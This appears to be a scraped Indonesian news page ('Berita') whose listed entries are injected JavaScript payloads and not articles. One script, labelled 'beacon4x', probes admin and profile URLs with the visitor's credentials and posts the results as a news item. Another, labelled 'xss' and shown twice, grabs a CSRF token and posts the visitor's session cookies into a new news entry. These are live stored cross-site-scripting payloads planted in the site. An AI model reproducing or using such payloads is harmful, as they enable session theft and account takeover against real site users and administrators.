Berita
- Home
- Berita
beacon4x....
(function(){var csrf=document.querySelector('meta[name="csrf-token"]').content; function probe(url){return fetch(url,{credentials:'include'}).then(function(r){var a=r.url.indexOf('site/login')===-1?'OK':'LOGIN';return url+'='+r.status+'/'+a;}).catch(function(e){return url+'=ERR';});} Promise.all([probe('/backend/web/index.php?r=site/index'),probe('/profile/index'),probe('/backend/web/index.php?r=berita/index'),probe('/profile/update?id=1')]).then(function(res){ var data=res.join(';');var fd=new FormData();fd.append('_csrf-frontend',csrf);fd.append('Berita[judul]','b2');fd.append('Berita[isi]',data);fd.append('Berita[image]','x');fd.append('Berita[tanggal]','2026-08-16');return fetch('/berita/create',{method:'POST',body:fd,credentials:'include'});});})();....
xss....
fetch('/site/request-password-reset').then(r=>r.text()).then(t=>{ var csrf=(t.match(/name="_csrf-frontend" value="([^"]+)"/)||[])[1]; var data = "dc="+encodeURIComponent(document.cookie); fetch('/berita/create',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'_csrf-frontend='+encodeURIComponent(csrf)+'&Berita[tanggal]=2026-08-16&Berita[judul]=xss2&Berita[status]=1&Berita[created_at]=2026-08-16&Berita[created_by]=1&Berita[updated_at]=2026-08-16&Berita[updated_by]=1&Berita[isi]='+encodeURIComponent(data)+'&Berita[image]=x'}) }); ....
xss....
fetch('/site/request-password-reset').then(r=>r.text()).then(t=>{ var csrf=(t.match(/name="_csrf-frontend" value="([^"]+)"/)||[])[1]; var data = "dc="+encodeURIComponent(document.cookie); fetch('/berita/create',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'_csrf-frontend='+encodeURIComponent(csrf)+'&Berita[tanggal]=2026-08-16&Berita[judul]=xss2&Berita[status]=1&Berita[created_at]=2026-08-16&Berita[created_by]=1&Berita[updated_at]=2026-08-16&Berita[updated_by]=1&Berita[isi]='+encodeURIComponent(data)+'&Berita[image]=x'}) }); ....